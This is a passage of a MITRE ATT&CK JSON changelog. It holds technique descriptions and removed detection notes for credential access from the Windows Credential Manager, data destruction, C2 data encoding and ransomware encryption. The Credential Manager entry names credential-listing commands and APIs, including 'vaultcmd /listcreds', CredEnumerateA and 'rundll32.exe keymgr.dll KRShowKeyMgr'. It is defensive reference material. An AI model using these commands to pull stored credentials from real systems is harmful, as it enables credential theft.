"url": "https://web.archive.org/web/20130106164109/https://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain"
},
{
"source_name": "OSX Keydnap malware",
"description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
"url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:28.055000+00:00\", \"old_value\": \"2025-04-15 23:05:25.349000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments for activity surrounded users searching for credentials or using automated tools to scan memory for passwords.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Access)",
"DS0017: Command (Command Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0057: Detect Suspicious Access to securityd Memory for Credential Extraction"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-11-23 15:35:53.793000+00:00",
"modified": "2025-10-24 17:49:26.444000+00:00",
"name": "Windows Credential Manager",
"description": "Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)\n\nThe Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.\n\nCredential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\`. The encryption key can be found in a file named Policy.vpol, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)\n\nAdversaries may list credentials managed by the Windows Credential Manager through several mechanisms. vaultcmd.exe is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as CredEnumerateA, may also be absued to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\n\nAdversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running rundll32.exe keymgr.dll KRShowKeyMgr then selecting the \u201cBack up...\u201d button on the \u201cStored User Names and Passwords\u201d GUI.\n\nPassword recovery tools may also obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1555/004",
"external_id": "T1555.004"
},
{
"source_name": "Malwarebytes The Windows Vault",
"description": "Arntz, P. (2016, March 30). The Windows Vault . Retrieved November 23, 2020.",
"url": "https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/"
},
{
"source_name": "Delpy Mimikatz Crendential Manager",
"description": "Delpy, B. (2017, December 12). howto ~ credential manager saved credentials. Retrieved November 23, 2020.",
"url": "https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials"
},
{
"source_name": "Microsoft Credential Locker",
"description": "Microsoft. (2013, October 23). Credential Locker Overview. Retrieved November 24, 2020.",
"url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-8.1-and-8/jj554668(v=ws.11)?redirectedfrom=MSDN"
},
{
"source_name": "Microsoft Credential Manager store",
"description": "Microsoft. (2016, August 31). Cached and Stored Credentials Technical Overview. Retrieved November 24, 2020.",
"url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11)#credential-manager-store"
},
{
"source_name": "Microsoft CredEnumerate",
"description": "Microsoft. (2018, December 5). CredEnumarateA function (wincred.h). Retrieved November 24, 2020.",
"url": "https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credenumeratea"
},
{
"source_name": "passcape Windows Vault",
"description": "Passcape. (n.d.). Windows Password Recovery - Vault Explorer and Decoder. Retrieved November 24, 2020.",
"url": "https://www.passcape.com/windows_password_recovery_vault_explorer"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Bernaldo Penas Antelo",
"Mugdha Peter Bansode",
"Uriel Kosayev",
"Vadim Khrykov"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Access\", \"Command: Command Execution\", \"Process: OS API Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:26.444000+00:00\", \"old_value\": \"2025-04-15 23:21:30.628000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor process and command-line parameters of vaultcmd.exe for suspicious activity, such as listing credentials from the Windows Credentials locker (i.e., vaultcmd /listcreds:\\u201cWindows Credentials\\u201d).(Citation: Malwarebytes The Windows Vault)\\n\\nConsider monitoring API calls such as CredEnumerateA that may list credentials from the Windows Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\\n\\nConsider monitoring file reads to Vault locations, %Systemdrive%\\\\Users\\\\\\\\[Username]\\\\AppData\\\\Local\\\\Microsoft\\\\\\\\[Vault/Credentials]\\\\, for suspicious activity.(Citation: Malwarebytes The Windows Vault)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor process and command-line parameters of vaultcmd.exe for suspicious activity, such as listing credentials from the Windows Credentials locker (i.e., vaultcmd /listcreds:\\u201cWindows Credentials\\u201d).(Citation: Malwarebytes The Windows Vault)\\n-\\n-Consider monitoring API calls such as CredEnumerateA that may list credentials from the Windows Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\\n-\\n-Consider monitoring file reads to Vault locations, %Systemdrive%\\\\Users\\\\\\\\[Username]\\\\AppData\\\\Local\\\\Microsoft\\\\\\\\[Vault/Credentials]\\\\, for suspicious activity.(Citation: Malwarebytes The Windows Vault)\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1042: Disable or Remove Feature or Program"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Access)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0134: Detect Suspicious Access to Windows Credential Manager"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2019-03-14 18:47:17.701000+00:00",
"modified": "2025-10-24 17:49:27.149000+00:00",
"name": "Data Destruction",
"description": "Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.\n\nAdversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).\n\nIn cloud environments, adversaries may leverage access to delete cloud storage objects, machine images, database instances, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider) Similarly, they may delete virtual machines from on-prem virtualized environments.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1485",
"external_id": "T1485"
},
{
"source_name": "DOJ - Cisco Insider",
"description": "DOJ. (2020, August 26). San Jose Man Pleads Guilty To Damaging Cisco\u2019s Network. Retrieved December 15, 2020.",
"url": "https://www.justice.gov/usao-ndca/pr/san-jose-man-pleads-guilty-damaging-cisco-s-network"
},
{
"source_name": "Unit 42 Shamoon3 2018",
"description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.",
"url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/"
},
{
"source_name": "Palo Alto Shamoon Nov 2016",
"description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
"url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"
},
{
"source_name": "FireEye Shamoon Nov 2016",
"description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20210126065851/https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html"
},
{
"source_name": "Kaspersky StoneDrill 2017",
"description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.",
"url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf"
},
{
"source_name": "Talos Olympic Destroyer 2018",
"description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
"url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
},
{
"source_name": "Data Destruction - Threat Post",
"description": "Mimoso, M.. (2014, June 18). Hacker Puts Hosting Service Code Spaces Out of Business. Retrieved December 15, 2020.",
"url": "https://threatpost.com/hacker-puts-hosting-service-code-spaces-out-of-business/106761/"
},
{
"source_name": "Symantec Shamoon 2012",
"description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.",
"url": "https://www.symantec.com/connect/blogs/shamoon-attacks"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Brent Murphy, Elastic",
"David French, Elastic",
"Syed Ummar Farooqh, McAfee",
"Prasad Somasamudram, McAfee",
"Sekhar Sarukkai, McAfee",
"Varonis Threat Labs",
"Joey Lei"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_impact_type": [
"Availability"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Containers",
"ESXi",
"IaaS",
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Snapshot: Snapshot Deletion\", \"Cloud Storage: Cloud Storage Modification\", \"Process: Process Creation\", \"File: File Deletion\", \"Image: Image Deletion\", \"Instance: Instance Deletion\", \"File: File Modification\", \"Volume: Volume Deletion\", \"Cloud Storage: Cloud Storage Deletion\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:27.149000+00:00\", \"old_value\": \"2025-04-15 19:59:11.731000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under C:\\\\Windows\\\\System32\\\\.\\n\\nIn cloud environments, the occurrence of anomalous high-volume deletion events, such as the DeleteDBCluster and DeleteGlobalCluster events in AWS, or a high quantity of data deletion events, such as DeleteBucket, within a short period of time may indicate suspicious activity.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Use process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under C:\\\\Windows\\\\System32\\\\.\\n-\\n-In cloud environments, the occurrence of anomalous high-volume deletion events, such as the DeleteDBCluster and DeleteGlobalCluster events in AWS, or a high quantity of data deletion events, such as DeleteBucket, within a short period of time may indicate suspicious activity.\"}}}",
"previous_version": "1.4",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1032: Multi-factor Authentication",
"M1053: Data Backup"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0007: Image (Image Deletion)",
"DS0009: Process (Process Creation)",
"DS0010: Cloud Storage (Cloud Storage Deletion)",
"DS0010: Cloud Storage (Cloud Storage Modification)",
"DS0017: Command (Command Execution)",
"DS0020: Snapshot (Snapshot Deletion)",
"DS0022: File (File Deletion)",
"DS0022: File (File Modification)",
"DS0030: Instance (Instance Deletion)",
"DS0034: Volume (Volume Deletion)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0146: Detection of Data Destruction Across Platforms via Mass Overwrite and Deletion Patterns"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:31:43.540000+00:00",
"modified": "2025-10-24 17:49:23.915000+00:00",
"name": "Data Encoding",
"description": "Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1132",
"external_id": "T1132"
},
{
"source_name": "University of Birmingham C2",
"description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
},
{
"source_name": "Wikipedia Binary-to-text Encoding",
"description": "Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.",
"url": "https://en.wikipedia.org/wiki/Binary-to-text_encoding"
},
{
"source_name": "Wikipedia Character Encoding",
"description": "Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.",
"url": "https://en.wikipedia.org/wiki/Character_encoding"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Itzik Kotler, SafeBreach"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows",
"ESXi"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:23.915000+00:00\", \"old_value\": \"2025-04-16 20:37:21.024000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1031: Network Intrusion Prevention"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0029: Network Traffic (Network Traffic Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0108: Detection Strategy for Data Encoding in C2 Channels"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-14 23:39:50.117000+00:00",
"modified": "2025-10-24 17:49:27.237000+00:00",
"name": "Non-Standard Encoding",
"description": "Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1132/002",
"external_id": "T1132.002"
},
{
"source_name": "University of Birmingham C2",
"description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
},
{
"source_name": "Wikipedia Binary-to-text Encoding",
"description": "Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.",
"url": "https://en.wikipedia.org/wiki/Binary-to-text_encoding"
},
{
"source_name": "Wikipedia Character Encoding",
"description": "Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.",
"url": "https://en.wikipedia.org/wiki/Character_encoding"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:27.237000+00:00\", \"old_value\": \"2025-04-25 14:48:12.613000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1031: Network Intrusion Prevention"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0029: Network Traffic (Network Traffic Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0326: Behavior-chain detection for T1132.002 Data Encoding: Non-Standard Encoding across Windows, Linux, macOS, ESXi"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-14 23:36:52.095000+00:00",
"modified": "2025-10-24 17:48:20.938000+00:00",
"name": "Standard Encoding",
"description": "Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding)(Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1132/001",
"external_id": "T1132.001"
},
{
"source_name": "University of Birmingham C2",
"description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
},
{
"source_name": "Wikipedia Binary-to-text Encoding",
"description": "Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.",
"url": "https://en.wikipedia.org/wiki/Binary-to-text_encoding"
},
{
"source_name": "Wikipedia Character Encoding",
"description": "Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.",
"url": "https://en.wikipedia.org/wiki/Character_encoding"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"Linux",
"Windows",
"macOS"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:20.938000+00:00\", \"old_value\": \"2025-04-16 20:37:14.817000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1031: Network Intrusion Prevention"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0029: Network Traffic (Network Traffic Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0124: Behavior-chain detection for T1132.001 Data Encoding: Standard Encoding (Base64/Hex/MIME) across Windows, Linux, macOS, ESXi"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2019-03-15 13:59:30.390000+00:00",
"modified": "2025-10-24 17:49:16.589000+00:00",
"name": "Data Encrypted for Impact",
"description": "Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018)\n\nIn the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529), in order to unlock and/or gain access to manipulate these files.(Citation: CarbonBlack Conti July 2020) In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017) Adversaries may also encrypt virtual machines hosted on ESXi or other hypervisors.(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021) \n\nTo maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) Encryption malware may also leverage [Internal Defacement](https://attack.mitre.org/techniques/T1491/001), such as changing victim wallpapers or ESXi server login messages, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as \"print bombing\").(Citation: NHS Digital Egregor Nov 2020)(Citation: Varonis)\n\nIn cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1) For example, in AWS environments, adversaries may leverage services such as AWS\u2019s Server-Side Encryption with Customer Provided Keys (SSE-C) to encrypt data.(Citation: Halcyon AWS Ransomware 2025)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1486",
"external_id": "T1486"
},
{
"source_name": "CarbonBlack Conti July 2020",
"description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021.",
"url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/"
},
{
"source_name": "FireEye WannaCry 2017",
"description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.",
"url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html"
},
{
"source_name": "Rhino S3 Ransomware Part 1",
"description": "Gietzen, S. (n.d.). S3 Ransomware Part 1: Attack Vector. Retrieved April 14, 2021.",
"url": "https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/"
},
{
"source_name": "Halcyon AWS Ransomware 2025",
"description": "Halcyon RISE Team. (2025, January 13). Abusing AWS Native Services: Ransomware Encrypting S3 Buckets with SSE-C. Retrieved March 18, 2025.",
"url": "https://www.halcyon.ai/blog/abusing-aws-native-services-ransomware-encrypting-s3-buckets-with-sse-c"
},
{
"source_name": "Varonis",
"description": "Jason Hill. (2023, February 8). VMware ESXi in the Line of Ransomware Fire. Retrieved March 26, 2025.",
"url": "https://www.varonis.com/blog/vmware-esxi-in-the-line-of-ransomware-fire"
},
{
"source_name": "Crowdstrike Hypervisor Jackpotting Pt 2 2021",
"description": "Michael Dawson. (2021, August 30). Hypervisor Jackpotting, Part 2: eCrime Actors Increase Targeting of ESXi Servers with Ransomware. Retrieved March 26, 2025.",
"url": "https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/"
},
{
"source_name": "NHS Digital Egregor Nov 2020",
"description": "NHS Digital. (2020, November 26). Egregor Ransomware The RaaS successor to Maze. Retrieved December 29, 2020.",
"url": "https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary"
},
{
"source_name": "US-CERT Ransomware 2016",
